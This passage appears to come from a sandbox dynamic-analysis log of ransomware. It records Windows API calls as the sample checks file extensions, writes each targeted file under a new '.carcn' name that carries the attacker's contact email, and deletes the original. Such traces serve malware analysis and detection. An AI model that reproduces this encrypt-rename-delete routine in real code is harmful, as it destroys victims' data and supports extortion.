lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.474] WriteFile (in: hFile=0x358, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xee, lpOverlapped=0x0) returned 1 [0294.475] SetEndOfFile (hFile=0x358) returned 1 [0294.475] CloseHandle (hObject=0x358) returned 1 [0294.475] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.475] SetEndOfFile (hFile=0x338) returned 1 [0294.479] CloseHandle (hObject=0x338) returned 1 [0294.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.479] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0294.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.480] lstrlenW (lpString=".doc") returned 4 [0294.480] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.480] lstrlenW (lpString=".docx") returned 5 [0294.480] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0294.480] lstrlenW (lpString=".pdf") returned 4 [0294.480] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.480] lstrlenW (lpString=".xls") returned 4 [0294.480] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.480] lstrlenW (lpString=".xlsx") returned 5 [0294.480] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0294.480] lstrlenW (lpString=".ppt") returned 4 [0294.480] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.480] lstrlenW (lpString=".zip") returned 4 [0294.480] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.480] lstrlenW (lpString=".rar") returned 4 [0294.480] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.480] lstrlenW (lpString=".bz2") returned 4 [0294.480] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.481] lstrlenW (lpString=".7z") returned 3 [0294.481] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.481] lstrlenW (lpString=".dbf") returned 4 [0294.481] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.481] lstrlenW (lpString=".1cd") returned 4 [0294.481] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.481] lstrlenW (lpString=".jpg") returned 4 [0294.481] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.481] lstrlenW (lpString=".doc") returned 4 [0294.481] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.481] lstrlenW (lpString=".docx") returned 5 [0294.481] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0294.481] lstrlenW (lpString=".pdf") returned 4 [0294.481] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.481] lstrlenW (lpString=".xls") returned 4 [0294.481] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.481] lstrlenW (lpString=".xlsx") returned 5 [0294.481] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0294.481] lstrlenW (lpString=".ppt") returned 4 [0294.481] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.481] lstrlenW (lpString=".zip") returned 4 [0294.481] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.482] lstrlenW (lpString=".rar") returned 4 [0294.482] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.482] lstrlenW (lpString=".bz2") returned 4 [0294.482] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.482] lstrlenW (lpString=".7z") returned 3 [0294.482] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.482] lstrlenW (lpString=".dbf") returned 4 [0294.482] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.482] lstrlenW (lpString=".1cd") returned 4 [0294.482] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0294.482] lstrlenW (lpString=".jpg") returned 4 [0294.482] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.482] lstrcmpiW (lpString1=".hash", lpString2=".carcn") returned 1 [0294.482] lstrlenW (lpString="i640.hash") returned 9 [0294.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0294.483] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=102) returned 1 [0294.483] CloseHandle (hObject=0x338) returned 1 [0294.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0294.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0294.483] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.483] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0294.484] GetLastError () returned 0x0 [0294.484] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x66, lpOverlapped=0x0) returned 1 [0294.486] WriteFile (in: hFile=0x358, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x70, lpOverlapped=0x0) returned 1 [0294.487] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.487] WriteFile (in: hFile=0x358, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0294.487] SetEndOfFile (hFile=0x358) returned 1 [0294.487] CloseHandle (hObject=0x358) returned 1 [0294.487] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.487] SetEndOfFile (hFile=0x338) returned 1 [0294.490] CloseHandle (hObject=0x338) returned 1 [0294.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.491] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0294.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.491] lstrlenW (lpString=".doc") returned 4 [0294.491] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0294.491] lstrlenW (lpString=".docx") returned 5 [0294.491] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0294.491] lstrlenW (lpString=".pdf") returned 4 [0294.491] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0294.491] lstrlenW (lpString=".xls") returned 4 [0294.491] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0294.491] lstrlenW (lpString=".xlsx") returned 5 [0294.491] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0294.491] lstrlenW (lpString=".ppt") returned 4 [0294.491] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0294.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.491] lstrlenW (lpString=".zip") returned 4 [0294.491] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0294.491] lstrlenW (lpString=".rar") returned 4 [0294.492] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0294.492] lstrlenW (lpString=".bz2") returned 4 [0294.492] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0294.492] lstrlenW (lpString=".7z") returned 3 [0294.492] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0294.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.492] lstrlenW (lpString=".dbf") returned 4 [0294.492] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0294.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.492] lstrlenW (lpString=".1cd") returned 4 [0294.492] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0294.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.492] lstrlenW (lpString=".jpg") returned 4 [0294.492] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0294.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.492] lstrlenW (lpString=".doc") returned 4 [0294.492] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0294.492] lstrlenW (lpString=".docx") returned 5 [0294.492] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0294.492] lstrlenW (lpString=".pdf") returned 4 [0294.492] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0294.492] lstrlenW (lpString=".xls") returned 4 [0294.492] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0294.492] lstrlenW (lpString=".xlsx") returned 5 [0294.492] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0294.492] lstrlenW (lpString=".ppt") returned 4 [0294.492] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0294.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.493] lstrlenW (lpString=".zip") returned 4 [0294.493] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0294.493] lstrlenW (lpString=".rar") returned 4 [0294.493] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0294.493] lstrlenW (lpString=".bz2") returned 4 [0294.493] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0294.493] lstrlenW (lpString=".7z") returned 3 [0294.493] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0294.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.493] lstrlenW (lpString=".dbf") returned 4 [0294.493] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0294.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.493] lstrlenW (lpString=".1cd") returned 4 [0294.493] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0294.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0294.493] lstrlenW (lpString=".jpg") returned 4 [0294.493] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0294.493] lstrcmpiW (lpString1=".hash", lpString2=".carcn") returned 1 [0294.493] lstrlenW (lpString="i641033.hash") returned 12 [0294.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0294.494] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=102) returned 1 [0294.494] CloseHandle (hObject=0x338) returned 1 [0294.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0294.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0294.494] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.494] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0294.495] GetLastError () returned 0x0 [0294.495] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x66, lpOverlapped=0x0) returned 1 [0295.013] WriteFile (in: hFile=0x358, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x70, lpOverlapped=0x0) returned 1 [0295.016] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0295.017] WriteFile (in: hFile=0x358, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0295.017] SetEndOfFile (hFile=0x358) returned 1 [0295.017] CloseHandle (hObject=0x358) returned 1 [0295.017] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0295.017] SetEndOfFile (hFile=0x338) returned 1 [0295.018] CloseHandle (hObject=0x338) returned 1 [0295.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0295.018] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0295.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.019] lstrlenW (lpString=".doc") returned 4 [0295.019] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0295.019] lstrlenW (lpString=".docx") returned 5 [0295.019] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0295.019] lstrlenW (lpString=".pdf") returned 4 [0295.019] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0295.019] lstrlenW (lpString=".xls") returned 4 [0295.019] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0295.019] lstrlenW (lpString=".xlsx") returned 5 [0295.019] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0295.019] lstrlenW (lpString=".ppt") returned 4 [0295.019] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0295.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.019] lstrlenW (lpString=".zip") returned 4 [0295.019] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0295.019] lstrlenW (lpString=".rar") returned 4 [0295.019] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0295.019] lstrlenW (lpString=".bz2") returned 4 [0295.019] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0295.019] lstrlenW (lpString=".7z") returned 3 [0295.019] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0295.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.019] lstrlenW (lpString=".dbf") returned 4 [0295.019] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0295.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.019] lstrlenW (lpString=".1cd") returned 4 [0295.020] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0295.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.020] lstrlenW (lpString=".jpg") returned 4 [0295.020] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0295.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.020] lstrlenW (lpString=".doc") returned 4 [0295.020] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0295.020] lstrlenW (lpString=".docx") returned 5 [0295.020] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0295.020] lstrlenW (lpString=".pdf") returned 4 [0295.020] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0295.020] lstrlenW (lpString=".xls") returned 4 [0295.020] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0295.020] lstrlenW (lpString=".xlsx") returned 5 [0295.020] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0295.020] lstrlenW (lpString=".ppt") returned 4 [0295.020] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0295.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.020] lstrlenW (lpString=".zip") returned 4 [0295.020] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0295.020] lstrlenW (lpString=".rar") returned 4 [0295.020] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0295.020] lstrlenW (lpString=".bz2") returned 4 [0295.020] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0295.020] lstrlenW (lpString=".7z") returned 3 [0295.020] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0295.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.021] lstrlenW (lpString=".dbf") returned 4 [0295.021] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0295.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.021] lstrlenW (lpString=".1cd") returned 4 [0295.021] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0295.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0295.021] lstrlenW (lpString=".jpg") returned 4 [0295.021] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0295.021] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0295.021] lstrlenW (lpString="msvcp120.dll") returned 12 [0295.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0295.022] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=660136) returned 1 [0295.022] CloseHandle (hObject=0x338) returned 1 [0295.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0295.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.022] lstrlenW (lpString=".doc") returned 4 [0295.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.022] lstrlenW (lpString=".docx") returned 5 [0295.022] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0295.022] lstrlenW (lpString=".pdf") returned 4 [0295.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.022] lstrlenW (lpString=".xls") returned 4 [0295.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.022] lstrlenW (lpString=".xlsx") returned 5 [0295.023] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0295.023] lstrlenW (lpString=".ppt") returned 4 [0295.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.023] lstrlenW (lpString=".zip") returned 4 [0295.023] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.023] lstrlenW (lpString=".rar") returned 4 [0295.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.023] lstrlenW (lpString=".bz2") returned 4 [0295.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.023] lstrlenW (lpString=".7z") returned 3 [0295.023] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.023] lstrlenW (lpString=".dbf") returned 4 [0295.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.023] lstrlenW (lpString=".1cd") returned 4 [0295.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.023] lstrlenW (lpString=".jpg") returned 4 [0295.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0295.023] lstrlenW (lpString=".doc") returned 4 [0295.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.023] lstrlenW (lpString=".docx") returned 5 [0295.023] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0295.024] lstrlenW (lpString=".pdf") returned 4 [0295.024] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.024] lstrlenW (lpString=".xls") returned 4 [0295.024] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.024] lstrlenW (lpString=".xlsx") returned 5 [0295.024] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0295.024] lstrlenW (lpString=".ppt") returned 4 [0295.024] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.024] lstrlenW 